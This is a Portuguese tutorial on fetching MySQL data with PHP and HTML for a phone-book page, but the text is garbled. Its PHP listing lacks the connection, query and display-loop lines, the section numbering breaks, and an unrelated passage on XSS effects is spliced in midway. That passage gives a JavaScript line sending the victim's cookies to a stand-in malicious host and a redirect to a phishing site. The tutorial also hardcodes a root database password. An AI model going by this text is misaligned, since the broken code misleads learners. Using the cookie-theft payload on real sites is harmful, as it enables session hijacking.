Recuperando Dados Do Banco Com PHP, MySQL e HTML
Recuperando Dados Do Banco Com PHP, MySQL e HTML
Introdução
Como criar uma aplicação PHP para recuperar dados de um banco de dados
MySQL e exibi-los em uma página web. O projeto será desenvolvido utilizando
XAMPP como servidor local, e as linguagens usadas são PHP, HTML e
MySQL.
Você aprenderá a:
• Conectar-se a um banco de dados MySQL.
• Recuperar e exibir dados.
• Criar uma interface HTML básica.
• Realizar pesquisas no banco de dados.
Pré-requisitos
1. XAMPP instalado e funcionando.
2. Usuário do MySQL: root e senha: bd142536SQL$.
3. Banco de dados: agenda_telefonica contendo a tabela contato.
1. Estrutura do Projeto
O projeto será organizado na pasta C:\xampp\htdocs\agenda_telefonica.
• Crie o arquivo principal: index.php.
• Adicione um arquivo de estilo: estilo.css (opcional, para visual
aprimorado).
USE agenda_telefonica;
CREATE TABLE contato (
id INT AUTO_INCREMENT PRIMARY KEY,
nome VARCHAR(50) NOT NULL,
telefone VARCHAR(15)
);
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Agenda Telefônica</title>
<link rel="stylesheet" href="estilo.css">
</head>
<body>
<div id="conteudo">
<h1>Agenda Telefônica</h1>
<?php
// Conectando ao banco de dados
$hostname = "localhost";
$usuario = "root";
$senha = "bd142536SQL$";
$base_de_dados = "agenda_telefonica";
// Executando a consulta
$dados = mysqli_query($conexao, $sql);
if (mysqli_num_rows($dados) > 0) {
// Exibindo os resultados na tabela
echo "<table border='1'>";
echo "<tr><th>ID</th><th>Nome</th><th>Telefone</th></tr>";
echo "</table>";
} else {
echo "<p>Nenhum contato encontrado.</p>";
}
Explicação do Código
1. Estrutura HTML
A estrutura básica da página HTML inclui:
• Cabeçalho (<head>): Define título e inclui o arquivo CSS.
• Corpo (<body>): Contém a div que exibirá os contatos.
Efeitos do ataque?
• Neste exemplo: O alerta é apenas ilustrativo, mas isso prova que o
atacante pode injetar qualquer código JavaScript.
• Impacto real de um XSS:
1. Roubo de cookies:
javascript
document.location = 'http://malicioso.com?cookie=' + document.cookie;
Esse script poderia enviar os cookies da vítima para um site controlado pelo
atacante.
2. Redirecionamento para sites maliciosos:
javascript
window.location.href = 'http://phishing-site.com';
A vítima poderia ser redirecionada para um site que tenta roubar suas
credenciais.
3. Alteração do conteúdo da página: Um script poderia manipular
o DOM para exibir informações falsas.
mysqli_free_result($dados);
mysqli_close($conexao);
• mysqli_free_result: Libera a memória usada pela consulta.
• mysqli_close: Encerra a conexão com o banco.
4. Testando a Aplicação
1. Inicie o XAMPP e ative o Apache e MySQL.
2. Abra o navegador e acesse: http://localhost/agendaTel/index.php
3. Adicione contatos no banco executando este comando SQL:
body {
font-family: Arial, sans-serif;
background-color: #f0f0f0;
margin: 0;
padding: 20px;
}
#conteudo {
width: 80%;
margin: auto;
background-color: white;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 10px;
text-align: left;
}
6. Conclusão
Com este projeto, você aprendeu a conectar-se a um banco de dados MySQL,
recuperar dados e exibi-los em uma tabela HTML. Agora você pode expandir
este projeto para incluir outras funcionalidades, como inserção, edição e
exclusão de contatos.